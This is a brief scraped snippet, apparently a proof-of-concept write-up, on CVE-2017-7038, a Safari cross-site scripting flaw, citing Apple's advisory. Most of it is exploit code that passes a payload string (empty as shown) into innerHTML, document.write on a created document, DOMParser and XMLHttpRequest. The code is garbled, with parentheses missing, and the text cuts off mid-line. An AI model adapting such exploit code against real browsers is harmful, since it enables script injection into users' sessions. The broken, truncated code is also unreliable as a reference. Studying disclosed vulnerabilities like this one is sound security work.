CVE-2017-7038

CVE-2017-7038 Safari XSS（CVE-2017-7038）https://support.apple.com/en-us/HT207923 Document 实现 XSS 漏洞 var payload = ''; document.createElement'body'.innerHTML = payload; document.implementation.createHTMLDocument.writepayload; new DOMParser.parseFromStringpayload, 'text/html'; var xhr = new...